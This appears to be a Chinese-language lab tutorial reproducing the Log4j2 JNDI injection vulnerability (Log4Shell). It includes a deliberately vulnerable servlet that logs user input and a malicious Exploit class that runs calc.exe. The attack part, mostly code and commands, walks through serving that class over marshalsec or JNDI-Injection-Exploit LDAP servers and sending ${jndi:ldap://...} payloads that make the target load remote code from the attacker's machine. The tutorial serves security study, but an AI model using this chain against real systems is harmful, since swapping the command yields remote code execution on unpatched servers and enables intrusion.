log4J2靶机搭建和漏洞复现
漏洞原理
log4j2是Java技术栈中用的比较多的日志输出框架,允许输出其他文件或者网络位置中的Java对象,这是漏洞的基础。
log4j2通过 lookup 方法查找其他路径的数据,支持JDNI 、Web、Event等多种查找途径。JNDI(Java Naming and Directory Interface,JAVA命名和目录接口)是一个目录系统,将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
而JNDI又支持LDAP 、RMI、DNS等不同方式的数据来源,通过LDAP、RMI两种方式可以提供其他网络位置的数据。因此,可以在远程服务器上构建恶意类,通过JNDI注入到目标服务器上,达到执行任意命令的目的。
具体实现过程是: 通过logger.error(name) 语句,可以将 name 指代的内容打印到日志中。当name 满足name=${ } 形式时,会先解析{ } 中的内容,如果内容为${jndi:ldap://evilIP/ClassName} ,则lookup 方法会先解析这是jndi 方式,然后jndi 继续解析这是ldap 协议,然后去到//evilIP 所在的网络位置去加载ClassName 类,造成ClassName 的内容被执行。这就是log4j2漏洞的原理,因此最简单的复现就是写一段包含logger.error(“${jndi:ldap://evilIP/ClassName}”) 的Java代码。 当name 是通过name = request.getParameter("aaa") 获取到的用户传入的参数时,如果构造形如aaa=${jndi:ldap://evilIP/ClassName} 的输入,就可以在服务器上执行用户在ClassName 中定义的操作,达到攻击的目的。本文也按照这个思路复现。
详细的原理可以参考核弹级漏洞!我把log4j扒给你看。
漏洞复现
靶机搭建
靶机需要运行版本符合的Java web服务,并启用了log4j2,而且会将某些来自用户的请求打印到日志中。网站的部署具体可以参考Log4j2漏洞复现,这里不具体讲。本文选用的环境为:
- win10,jdk-8u181,tomcat9,log4j-2.14.0
具体的环境没有要求,但要注意jdk的版本,jdk1.8_191后的版本无法触发漏洞。
在web服务中编写包含漏洞的类log4j2Servlet :
import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
@WebServlet("/log4j2Servlet")
public class log4j2Servlet extends HttpServlet {
private static final long serialVersionUID = 1L;
private static final Logger logger = LogManager.getLogger(log4j2Servlet.class);
public log4j2Servlet() {
super();
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
response.setHeader("Content-Type", "text/html; charset=utf-8");
System.out.println(request.getQueryString());
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>Hello World!</h1>");
out.println("</body></html>");
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String name = request.getParameter("aaa");
logger.error(name);
response.setContentType("text/html");
response.setHeader("Content-Type", "text/html; charset=utf-8");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>Got it!</h1>");
out.println("</body></html>");
}
}
大部分为通用代码,关键代码为:
String name = request.getParameter("aaa");
logger.error(name);
当用户通过post请求这个资源时, 比如本文的地址为:http://192.168.220.145:8086/log4j2pro/log4j2Servlet(8086为网站运行的端口,log4j2pro为网站项目的名称),会将aaa后面的参数通过logger.error打印到日志中。
我们通过DNSlog测试该漏洞是否生效,在dnslog网站申请一个域名得到jj74zc.dnslog.cn ,构造payload:${jndi:ldap://jj74zc.dnslog.cn/exp} ,然后使用burpsuit向目标发送post请求: 成功得到回显,拿到了服务器的IP地址,证明漏洞可以生效。
攻击环境配置和实施
前面提到了执行恶意操作需要加载远程LDAP服务上的恶意类,因此需要搭建恶意LDAP服务。搭建LDAP服务有两种方式,
- java 反序列化利用工具:marshalsec
- JNDI注入插件:JNDI-Injection-Exploit
1. 通过marshalsec
使用marshalsec需要自己定义恶意类,并搭建恶意类下载的网络路径,比如我们编写如下Java类,该类被执行时会打开系统上的计算器:
public class Exploit {
public Exploit(){
try{
String[] commands = {"calc.exe"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
然后通过Javac将其编译成.class 类型的文件,以用于目标服务器加载:
javac Exploit.java
然后在Exploit.class所在的目录下通过python启用一个web,以供这个类的下载: 进行访问,正常: 192.168.1.8为我们攻击机的地址。这样就提供了一个可以在网络位置访问的恶意类。
下载marshalsec并解压,然后在marshalsec根目录下,执行以下命令,通过maven工具将marshalsec打包成jar包:
mvn clean package -DskipTests
然后会在target目录下生成我们需要的marshalsec-0.0.1-SNAPSHOT-all.jar 包,也可以直接下载已经打包好的。
然后执行以下命令,将我们刚才搭建的下载地址映射到LDAP服务地址:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.8:8880/#Exploit"
可以看到,在本机地址的1389端口开启了LDAP: 因此,向服务器注入payload${jndi:ldap://192.168.1.8:1389/Exploit} 时,就会加载恶意类Exploit 。
通过burpsuit向服务器注入构造的payload: 可以看到目标机器上成功打开了计算机,日志中也显示了我们的攻击载荷:
对应的,LDAP服务和python web日志中都显示了该类被请求的记录:
2 通过JNDI-Injection-Exploit
JNDI-Injection-Exploit是编辑好的用于JNDI注入的包,因此实施更简单一些。首先下载JNDI-Injection-Exploit,然后进入根目录打包成jar包:
mvn clean package -DskipTests
同样在target目录下生成我们需要的JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 包,然后执行以下命令,开启LDAP服务,并指定我们需要运行的命令和LDAP服务的地址:
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A "192.168.1.8"
c后面为需要运行的指令,A为服务地址。可以看到在//192.168.1.8:1389/sqbedo 路径下开启了ldap服务: 所以攻击载荷为${jndi:ldap://192.168.1.8:1389/sqbedo}
用burpsuit发送请求,同样执行成功:
|